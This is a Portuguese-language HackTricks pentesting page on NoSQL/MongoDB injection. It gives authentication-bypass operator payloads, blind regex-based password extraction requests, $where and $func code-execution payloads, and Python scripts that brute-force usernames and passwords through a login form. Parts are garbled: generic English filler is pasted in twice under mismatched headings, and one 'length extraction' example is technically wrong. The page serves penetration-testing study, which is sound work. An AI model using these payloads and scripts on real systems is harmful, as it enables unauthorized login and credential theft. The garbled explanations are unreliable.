hacktricks/pentesting-web/nosql-injection.md

391 lines
21 KiB
Markdown

# Injeção NoSQL
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
Acesse hoje mesmo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Bancos de dados NoSQL oferecem restrições de consistência mais flexíveis do que os bancos de dados SQL tradicionais. Ao exigir menos restrições relacionais e verificações de consistência, os bancos de dados NoSQL geralmente oferecem benefícios de desempenho e escalabilidade. No entanto, esses bancos de dados ainda podem ser vulneráveis a ataques de injeção, mesmo que não estejam usando a sintaxe SQL tradicional.
## Exploração
Em PHP, você pode enviar um Array alterando o parâmetro enviado de _parameter=foo_ para _parameter\[arrName]=foo._
Os exploits são baseados na adição de um **Operador**:
```bash
username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
```
### Bypass de autenticação básica
**Usando não igual ($ne) ou maior ($gt)**
```bash
#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true
#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
```
### **SQL - Mongo**
NoSQL injection is a type of attack that targets NoSQL databases, such as MongoDB. Similar to SQL injection, NoSQL injection occurs when an attacker is able to manipulate a NoSQL query in order to retrieve, modify, or delete data from the database.
#### **Understanding NoSQL Injection**
NoSQL databases, like MongoDB, use a different query language than traditional SQL databases. Instead of using structured query language (SQL), NoSQL databases use their own query language, such as MongoDB Query Language (MQL).
NoSQL injection occurs when an attacker is able to manipulate the input of a NoSQL query in a way that the query logic is altered. This can happen when the application does not properly validate or sanitize user input before constructing the NoSQL query.
#### **Exploiting NoSQL Injection**
To exploit a NoSQL injection vulnerability, an attacker needs to identify a point in the application where user input is used to construct a NoSQL query. This can be in the form of query parameters, request headers, or even cookies.
Once a vulnerable point is identified, the attacker can start injecting malicious input to manipulate the query logic. This can involve using special characters, logical operators, or even JavaScript code to bypass input validation and alter the behavior of the query.
#### **Preventing NoSQL Injection**
To prevent NoSQL injection, it is important to properly validate and sanitize user input before using it in a NoSQL query. This can involve using parameterized queries or prepared statements, which ensure that user input is treated as data and not as part of the query logic.
Additionally, it is important to implement proper access controls and authentication mechanisms to limit the impact of a successful NoSQL injection attack. By restricting the privileges of database users and implementing strong authentication mechanisms, the potential damage of an attack can be minimized.
#### **Conclusion**
NoSQL injection is a serious security vulnerability that can lead to unauthorized access, data manipulation, and even data loss in NoSQL databases. By understanding the risks and implementing proper security measures, developers and administrators can protect their applications and databases from this type of attack.
```
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00
```
### Extrair informações de **comprimento**
NoSQL Injection pode ser usado para extrair informações sobre o comprimento dos dados armazenados em um banco de dados NoSQL. Isso pode ser útil para entender a estrutura do banco de dados e identificar possíveis vulnerabilidades.
#### Técnica de Injeção
A técnica de injeção NoSQL envolve a exploração de consultas que usam operadores de comparação, como `$gt` (maior que), `$lt` (menor que) ou `$eq` (igual a). Ao fornecer valores manipulados para esses operadores, é possível obter informações sobre o comprimento dos dados.
#### Exemplo
Considere a seguinte consulta NoSQL:
```javascript
db.users.find({ username: { $eq: "admin" } })
```
Para extrair informações sobre o comprimento do campo `username`, podemos fornecer um valor manipulado para o operador `$eq`:
```javascript
db.users.find({ username: { $eq: { $ne: null } } })
```
Se a consulta retornar um resultado, isso indica que o comprimento do campo `username` é maior que zero. Caso contrário, o comprimento é zero.
#### Considerações de Segurança
Para proteger um aplicativo contra injeção NoSQL, é importante validar e sanitizar todas as entradas do usuário. Além disso, é recomendável usar bibliotecas ou frameworks que ofereçam recursos de segurança embutidos para mitigar esse tipo de vulnerabilidade.
```bash
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...
```
### Extrair informações **data**
NoSQL injection is a type of attack that targets NoSQL databases, which are non-relational databases that store data in a flexible, schema-less format. This attack occurs when an attacker is able to manipulate a NoSQL query in order to retrieve unauthorized data or perform unauthorized actions.
In a NoSQL injection attack, the attacker takes advantage of vulnerabilities in the application's code that allow user input to be directly included in a NoSQL query. This can occur when the application does not properly validate or sanitize user input before using it in a query.
The consequences of a successful NoSQL injection attack can be severe. An attacker may be able to extract sensitive information from the database, modify or delete data, or even gain unauthorized access to the underlying server.
To prevent NoSQL injection attacks, it is important to follow secure coding practices. This includes validating and sanitizing user input, using parameterized queries or prepared statements, and implementing proper access controls and authentication mechanisms.
In addition, it is recommended to keep NoSQL databases updated with the latest security patches and to regularly review and audit the application's code for potential vulnerabilities.
By understanding the techniques used in NoSQL injection attacks and taking appropriate measures to secure your applications, you can help protect your data from unauthorized access and manipulation.
```
in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp
username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*
in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
```
### **SQL - Mongo**
NoSQL injection is a type of attack that targets NoSQL databases, such as MongoDB. Similar to SQL injection, NoSQL injection occurs when an attacker is able to manipulate a NoSQL query in order to retrieve, modify, or delete data from the database.
#### **Understanding NoSQL Injection**
NoSQL databases, like MongoDB, use a different query language than traditional SQL databases. Instead of using structured query language (SQL), NoSQL databases use their own query language, such as MongoDB Query Language (MQL).
NoSQL injection occurs when an attacker is able to manipulate the input of a NoSQL query in a way that the query logic is altered. This can happen when the application does not properly validate or sanitize user input before constructing the NoSQL query.
#### **Exploiting NoSQL Injection**
To exploit a NoSQL injection vulnerability, an attacker needs to identify a point in the application where user input is used to construct a NoSQL query. This can be in the form of query parameters, request headers, or even cookies.
Once a vulnerable point is identified, the attacker can start injecting malicious input to manipulate the query logic. This can involve using special characters, logical operators, or even JavaScript code to bypass input validation and alter the behavior of the query.
#### **Preventing NoSQL Injection**
To prevent NoSQL injection, it is important to properly validate and sanitize user input before using it in a NoSQL query. This can involve using parameterized queries or prepared statements, which ensure that user input is treated as data and not as part of the query logic.
Additionally, it is important to implement proper access controls and authentication mechanisms to limit the impact of a successful NoSQL injection attack. By restricting the privileges of database users and implementing strong authentication mechanisms, the potential damage of an attack can be minimized.
#### **Conclusion**
NoSQL injection is a serious security vulnerability that can lead to unauthorized access, data manipulation, and even data loss in NoSQL databases. By understanding the risks and implementing proper security measures, developers and administrators can protect their applications and databases from this type of attack.
```
/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
```
### Execução Arbitrária de Função em PHP
Usando o operador **$func** da biblioteca [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (usada por padrão), pode ser possível executar uma função arbitrária como neste [relatório](https://swarm.ptsecurity.com/rce-cockpit-cms/).
```python
"user":{"$func": "var_dump"}
```
![](<../.gitbook/assets/image (468).png>)
### Obter informações de uma coleção diferente
É possível usar [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) para obter informações de uma coleção diferente. No exemplo a seguir, estamos lendo de uma **coleção diferente** chamada **`users`** e obtendo os **resultados de todas as entradas** com uma senha correspondente a um caractere curinga.
```json
[
{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
]
```
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, utilizando as ferramentas comunitárias mais avançadas do mundo.\
Acesse hoje mesmo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Blind NoSQL
```python
import requests, string
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
```
```python
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
```
## Cargas úteis do MongoDB
### Injeção de NoSQL
A injeção de NoSQL é uma técnica de ataque que visa explorar vulnerabilidades em bancos de dados NoSQL, como o MongoDB. Essa técnica é semelhante à injeção de SQL, mas é adaptada para bancos de dados NoSQL.
### Cargas úteis para Injeção de NoSQL
Aqui estão algumas cargas úteis comuns usadas para realizar ataques de injeção de NoSQL em bancos de dados MongoDB:
1. **Carga útil de autenticação**: essa carga útil é usada para explorar vulnerabilidades de autenticação fraca. Ela pode ser usada para tentar autenticar como um usuário específico ou para contornar a autenticação completamente.
```javascript
{ $ne: 1 }
```
2. **Carga útil de comparação**: essa carga útil é usada para explorar vulnerabilidades de comparação fraca. Ela pode ser usada para contornar verificações de igualdade e realizar consultas não autorizadas.
```javascript
{ $gt: "" }
```
3. **Carga útil de injeção condicional**: essa carga útil é usada para explorar vulnerabilidades de injeção condicional. Ela pode ser usada para executar consultas condicionais não autorizadas.
```javascript
{ $where: "this.username.match(/^admin/)" }
```
4. **Carga útil de injeção de código**: essa carga útil é usada para explorar vulnerabilidades de injeção de código. Ela pode ser usada para executar código arbitrário no servidor MongoDB.
```javascript
{ $where: "function() { return this.password.length == 0; }" }
```
### Considerações finais
Essas cargas úteis são apenas exemplos e podem variar dependendo do contexto do aplicativo e das vulnerabilidades específicas do banco de dados MongoDB. É importante entender as vulnerabilidades específicas do banco de dados e adaptar as cargas úteis de acordo.
```
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
```
## Ferramentas
* [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
* [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
### Força bruta para obter nomes de usuário e senhas de login através de POST
Este é um script simples que você pode modificar, mas as ferramentas anteriores também podem realizar essa tarefa.
```python
import requests
import string
url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")
def get_usernames():
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}
for c in possible_chars:
username = "^" + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print("Found username starting with "+c)
while True:
for c2 in possible_chars:
params["username[$regex]"] = username + c2 + ".*"
if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302:
username += c2
print(username)
break
if c2 == possible_chars[-1]:
print("Found username: "+username[1:])
usernames.append(username[1:])
break
return usernames
for u in get_usernames():
get_password(u)
```
## Referências
* [https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L\_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L\_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
Acesse hoje mesmo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}